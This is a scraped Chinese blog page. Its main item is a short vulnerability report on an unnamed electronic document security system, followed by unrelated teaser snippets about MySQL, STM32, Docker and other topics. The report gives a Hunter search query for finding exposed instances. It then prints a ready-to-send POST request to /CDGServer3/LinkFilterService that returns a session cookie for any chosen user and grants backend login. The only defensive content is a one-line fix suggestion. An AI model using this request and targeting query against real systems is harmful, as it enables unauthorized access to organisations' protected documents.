当前位置：首页 > news >正文

某电子文档安全管理系统存在任意用户登录漏洞

news 2026/2/10 0:36:29

漏洞简介

某电子文档安全管理系统存在任意用户登录漏洞，攻击者可以通过用户名获取对应的cookie，登录后台。

资产测绘

Hunter语法：web.icon==“9fd216c3e694850445607451fe3b3568”

漏洞复现

获取Cookie

POST /CDGServer3/LinkFilterService HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,applicati
on/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72userId=GCGHGAGGFAFHFGFCFEFPFD&cur=OHBLODPEJJNLEEGIMPOKHMCPJCHJIDHHCJCACB

在这里插入图片描述
带上Cookie访问URL + /CDGServer3/frame.jsp，即可登录后台

修复建议

对相关接口进行限制访问、鉴权。

某电子文档安全管理系统存在任意用户登录漏洞

漏洞简介某电子文档安全管理系统存在任意用户登录漏洞，攻击者可以通过用户名获取对应的cookie，登录后台。资产测绘 Hunter语法：web.icon“9fd216c3e694850445607451fe3b3568” 漏洞复现获取Cookie POST /CDGServer3/LinkFilterServi…...

编程日记 2023/12/20 14:40:27

音视频参数介绍

一、视频参数概念单个视频帧：可以简单地理解成为一张图片单个视频帧主要的参数概念： 分辨率： 分辨率是指图像或显示器上像素的数量，通常用横向像素数乘以纵向像素数表示。例如，1920x1080 表示宽度为1920像素&…...

编程日记 2023/12/20 14:38:25

创建一个文件getOssClient import { getOssSetting } from "/api/common"; import Vue from "vue"; import { getCookies, getLocal } from "/utils/auth"; // get token from cookie export async function getStsToken() {//从后台获取stsTo…...

编程日记 2023/12/20 14:32:20

MySQL表的增删改查（初阶）

CRUD 即增加(Create)、查询(Retrieve)、更新(Update)、删除(Delete)四个单词的首字母缩写。且增删改查（CRUD，create，retrieve，update，delete）数据库的核心模块。 1. 新增（Create） 实…...

编程日记 2023/12/20 14:28:15

搜维尔科技：关于“第九届元宇宙数字人设计大赛”线上+线下巡回宣讲本周高校行程通告！

为了让大家更全面地了解此次大赛，顺利地进行大赛的报名和参赛，组委会遴选了一批优秀讲师代表，组建了宣讲团，以线上线下的方式陆续开展巡回宣讲。宣讲兼顾不同学生群体的需求，结合在数字人设计制作的过程中常见的疑难点…...

编程日记 2023/12/20 14:19:07

Gemini 1.0：Google推出的全新AI模型，改变生成式人工智能领域的游戏规则！

Gemini 1.0：Google推出的全新AI模型，将改变生成式人工智能领域的游戏规则！ 🎥 屿小夏 ： 个人主页 🔥个人专栏 ： IT杂谈 🌄 莫道桑榆晚，为霞尚满天！ 文章目录 …...

编程日记 2023/12/20 14:16:05

excel打开并操作CAD(excel-vba实现)_另附：CAD打开excel

excelvba可实现调用cad应用程序，并通过excel内置api弹窗实现打开、另存CAD 文件（cad-vba弹窗功能较为麻烦），代码如下（在excel_vba环境下操作）： Sub excel_vba打开另存并操作CAD文件() Dim cad …...

编程日记 2023/12/20 14:14:03

Prolist组件实现动态竖排展示

实现原理：主要是利用外层div属性display:"flex",overflowX: auto，配合内层prolist样式属性flex:"0 0 auto",overflowX:"auto",width:"350px",height:900，实现动态竖排展示 <div style{{display:…...

编程日记 2023/12/20 14:13:02

基于JAVA的海南旅游景点推荐系统开源项目

目录一、摘要1.1 项目介绍1.2 项目录屏二、功能模块2.1 用户端2.2 管理员端三、系统展示四、核心代码4.1 随机景点推荐4.2 景点评价4.3 协同推荐算法4.4 网站登录4.5 查询景点美食五、免责说明一、摘要 1.1 项目介绍基于VueSpringBootMySQL的海南旅游推荐系统&#xff…...

编程日记 2023/12/20 14:11:00

【Apache-StreamPark】Flink 开发利器 StreamPark 的介绍、安装、使用

【Apache-StreamPark】Flink 开发利器 StreamPark 的介绍、安装、使用 1）框架介绍与引入1.1.🚀 什么是 StreamPark1.2.🎉 Features1.3.🏳‍🌈 组成部分1.4.引入 StreamPark 2）安装部署2.1.环境要求2.2.Hado…...

编程日记 2023/12/20 14:09:59

【STM32】STM32学习笔记-LED闪烁 LED流水灯蜂鸣器(06-2)

00. 目录文章目录 00. 目录01. GPIO之LED电路图02. GPIO之LED接线图03. LED闪烁程序示例04. LED闪烁程序下载05. LED流水灯接线图06. LED流水灯程序示例07. 蜂鸣器接线图08. 蜂鸣器程序示例09. 下载10. 附录 01. GPIO之LED电路图电路图示例1 电路图示例2 02. GPIO之LED接线图…...

编程日记 2023/12/20 14:08:58

docker服务启动报错docker.service holdoff time over, scheduling restart.

docker服务启动报错docker.service holdoff time over, scheduling restart. 卸载docker 卸载安装包 yum remove -y docker docker-client docker-client-latest docker-ce-cli docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinu…...

编程日记 2023/12/20 14:07:57

cfa一级考生复习经验分享系列（八）

先分析一下CFA Level 1内容，考试总体难度并不大，每门课程都比大学本科开设的对应课程简单，但是因为有十门课综合在一起，知识点相对算比较多，内容较多。但对知识点的掌握要求不高，理解即可。比如财报&#x…...

编程日记 2023/12/20 14:06:55

React中的事件处理

React中的事件处理亲爱的同学们，今天我们将一起探索React中的一个非常实用的话题：事件处理。当我们谈论事件处理，我们指的是在用户与我们的应用程序交互时发生的各种情况，比如点击一个按钮或是提交一个表单。这些动作是我们如何让…...

编程日记 2023/12/20 14:04:53

德人合科技 | 公司电脑文件加密系统

公司电脑文件加密系统是一种可以对电脑文件进行加密的保护机制。它使用驱动层透明加密技术，能够在用户无感知的情况下对文件进行加密，从源头上保障数据安全和使用安全。 PC端访问地址： www.drhchina.com 此类系统主要有以下几个特点和功能&a…...

编程日记 2023/12/20 14:02:51

FinalShell的下载、安装及基本使用

一：引言 FinalShell 是一体化的的服务器,网络管理软件,不仅是 ssh 客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求. 主要特性： 1.多平台支持 Windows,macOS,Linux 2.多标签,批量服务器管理. 3.支持登录 ssh 和 Windows 远程桌面. 4.漂亮的…...

编程日记 2023/12/20 14:01:50